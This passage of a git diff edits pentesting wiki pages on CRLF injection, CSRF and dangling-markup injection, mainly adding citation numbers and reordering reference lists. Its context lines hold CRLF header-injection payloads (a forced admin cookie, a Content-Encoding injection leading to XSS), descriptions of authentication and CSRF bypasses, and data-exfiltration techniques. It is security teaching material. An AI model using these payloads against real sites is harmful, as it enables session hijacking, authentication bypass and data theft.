details** (usrnames and passwords included) to the attacker servers: @@ -171,7 +171,7 @@ Moreover, researchers also discovered that they could desync the memcache respon ### Pre-auth Session File Poisoning via CRLF -Some applications **persist session state before authentication completes** and later **reload the same session from disk** after additional requests. If attacker-controlled values from **headers**, **cookies**, or login parameters are written into that session file **without stripping `\r` / `\n`**, CRLF injection can become an **authentication bypass** instead of just response splitting. +Some applications **persist session state before authentication completes** and later **reload the same session from disk** after additional requests. If attacker-controlled values from **headers**, **cookies**, or login parameters are written into that session file **without stripping `\r` / `\n`**, CRLF injection can become an **authentication bypass** instead of just response splitting.[[6]](#references)[[7]](#references)[[8]](#references) Typical exploitation pattern: @@ -211,7 +211,7 @@ To mitigate the risks of CRLF (Carriage Return and Line Feed) or HTTP Header Inj ### CHEATSHEET -[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777) +[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)[[13]](#references) ``` 1. HTTP Response Splitting @@ -255,7 +255,7 @@ Modern WAF/rewriter stacks often strip literal `\r`/`\n` but forget about other * `%E2%80%A9` (`U+2029` – PARAGRAPH SEPARATOR) * `%C2%85` (`U+0085` – NEXT LINE) -Some Java, Python and Go frameworks convert these to `\n` during header parsing (see the 2023 Praetorian research). Combine them with classic payloads: +Some Java, Python and Go frameworks convert these to `\n` during header parsing (see the 2023 Praetorian research).[[9]](#references) Combine them with classic payloads: ``` /%0A%E2%80%A8Set-Cookie:%20admin=true @@ -271,7 +271,7 @@ Praetorian researchers also showed that by injecting: %0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a ``` -into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the application’s own content is inert. Because `Content-Encoding: identity` is allowed by RFC 9110, many reverse-proxies forward it unchanged. +into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the application’s own content is inert. Because `Content-Encoding: identity` is allowed by RFC 9110, many reverse-proxies forward it unchanged.[[9]](#references) ## Automatic Tools @@ -285,14 +285,18 @@ into a reflected header, browsers will ignore the body supplied by the server an ## References -- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/) -- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/) -- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) -- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/) -- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302) -- [Rapid7 - CVE-2026-41940: cPanel & WHM Authentication Bypass](https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass) -- [watchTowr - The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)](https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/) -- [cPanel Security Update 04/28/2026](https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026) -- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/) +- [1] [Invicti - CRLF Injection and HTTP Response Splitting](https://www.invicti.com/blog/web-security/crlf-http-header/) +- [2] [Acunetix - CRLF Injection](https://www.acunetix.com/websitesecurity/crlf-injection/) +- [3] [PortSwigger - Making HTTP header injection critical via response queue poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) +- [4] [Netsparker - CRLF Injection and HTTP Response Splitting](https://www.netsparker.com/blog/web-security/crlf-http-header/) +- [5] [NVD - CVE-2024-45302 (RestSharp)](https://nvd.nist.gov/vuln/detail/CVE-2024-45302) +- [6] [Rapid7 - CVE-2026-41940: cPanel & WHM Authentication Bypass](https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass) +- [7] [watchTowr - The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)](https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/) +- [8] [cPanel Security Update 04/28/2026](https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026) +- [9] [Praetorian - 2023 Unicode newlines bypass](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/) +- [10] [Sonarsource - Zimbra Mail: Stealing Clear-Text Credentials via Memcache Injection](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) +- [11] [BugBountyWriteup - Exploiting CRLF Injection can land into a nice bounty](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) +- [12] [HackerOne report #192667 (Starbucks CRLF in URL path)](https://hackerone.com/reports/192667) +- [13] [Ninad Mishra - CRLF cheatsheet](https://twitter.com/NinadMishra5/status/1650080604174667777) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 05cf01ecf85..738f97f5a6e 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -46,7 +46,7 @@ Understanding and implementing these defenses is crucial for maintaining the sec ### From POST to GET (method-conditioned CSRF validation bypass) -Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like: +Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:[[5]](#references) ```php public function csrf_check($fatal = true) { @@ -80,7 +80,7 @@ Notes: ### Lack of token -Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively. +Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.[[2]](#references) Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough: @@ -110,7 +110,7 @@ Minimal auto-submitting PoC (hiding navigation with history.pushState): ### CSRF token is not tied to the user session -Applications **not tying CSRF tokens to user sessions** present a significant **security risk**. These systems verify tokens against a **global pool** rather than ensuring each token is bound to the initiating session. +Applications **not tying CSRF tokens to user sessions** present a significant **security risk**. These systems verify tokens against a **global pool** rather than ensuring each token is bound to the initiating session.[[2]](#references) Here's how attackers exploit this: @@ -165,7 +165,7 @@ Modern applications often build authenticated requests in frontend JavaScript us - Frontend code may automatically append custom CSRF headers or bearer tokens for you. - `Origin` / `Referer` checks can look completely legitimate because the request is emitted by the trusted frontend. -This turns path/URL manipulation into a CSRF primitive even when classic cross-site form PoCs fail. A common pattern is chaining a **user-controlled GET sink** into a second **authenticated POST/PUT/DELETE sink**. +This turns path/URL manipulation into a CSRF primitive even when classic cross-site form PoCs fail. A common pattern is chaining a **user-controlled GET sink** into a second **authenticated POST/PUT/DELETE sink**.[[11]](#references) Quick hunting checklist: @@ -179,7 +179,7 @@ client-side-path-traversal.md ### Upload gadget to CSPT2CSRF -A recent variant is to upload a file that is **accepted by server-side validation** but is still **valid JSON for the frontend**. If the frontend later `JSON.parse()`s the uploaded file and concatenates one field into an API path, simply viewing or importing that file can trigger an authenticated same-origin CSRF. +A recent variant is to upload a file that is **accepted by server-side validation** but is still **valid JSON for the frontend**. If the frontend later `JSON.parse()`s the uploaded file and concatenates one field into an API path, simply viewing or importing that file can trigger an authenticated same-origin CSRF.[[12]](#references) Minimal gadget ideas: @@ -197,7 +197,7 @@ The first shape abuses validators that only look for `WEBP` magic bytes at a fix Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie. -However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack. +However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.[[2]](#references) Below is an example of how an attack could be structured: @@ -236,7 +236,7 @@ According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#s However, note that the **server logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ -Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain: +Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:[[14]](#references) ```html @@ -263,7 +263,7 @@ When attempting to send JSON data via a POST request, using the `Content-Type: a 1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type. 2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`. -3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).[[15]](#references) ### Referrer / Origin check bypass @@ -275,7 +275,7 @@ Applications may validate the 'Referer' header only when it's present. To preven ``` -This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications. +This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications.[[3]](#references)[[4]](#references) **Regexp bypasses** @@ -319,7 +319,7 @@ To set the domain name of the server in the URL that the Referrer is going to se The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**. -Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**. +Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**.[[13]](#references) ### Browser-to-localhost / local service CSRF @@ -865,17 +865,19 @@ with open(PASS_LIST, "r") as f: ## References -- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) -- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) -- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) -- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) -- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) -- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities) -- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf) -- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) -- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf) -- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery) -- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/) -- [Doyensec: Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery](https://blog.doyensec.com/2024/07/02/cspt2csrf.html) -- [Doyensec: Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [1] [PortSwigger - Cross-site request forgery (CSRF)](https://portswigger.net/web-security/csrf) +- [2] [PortSwigger - Bypassing CSRF token validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) +- [3] [PortSwigger - Bypassing referer-based CSRF defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) +- [4] [hahwul - Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) +- [5] [sicuranext - vTenext 25.02: a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [6] [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities) +- [7] [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf) +- [8] [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) +- [9] [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery) +- [10] [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/) +- [11] [Doyensec: Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery](https://blog.doyensec.com/2024/07/02/cspt2csrf.html) +- [12] [Doyensec: Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [13] [Google CTF 2023 - web-vegsoda solution (HEAD method bypass)](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) +- [14] [brycec - corCTF 2021 challenges writeup](https://brycec.me/posts/corctf_2021_challenges) +- [15] [anonymousyogi - JSON CSRF: CSRF that none talks about](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 911bec500e3..49b8bfb81d0 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -69,7 +69,7 @@ The button can change the URL where the information of the form is going to be s An attacker can use this to steal the information. -Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). +Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).[[5]](#references) ### Stealing clear text secrets 2 @@ -116,7 +116,7 @@ A way to exfiltrate the content of the web page from the point of injection to t ### Bypassing CSP with user interaction -From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload: +From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:[[4]](#references) ```html You must click me @@ -197,7 +197,7 @@ A child document possesses the capability to view and modify the `location` prop This can be mitigated with something like: `sandbox=' allow-scripts allow-top-navigation'` -An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it. +An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it.[[6]](#references) ```html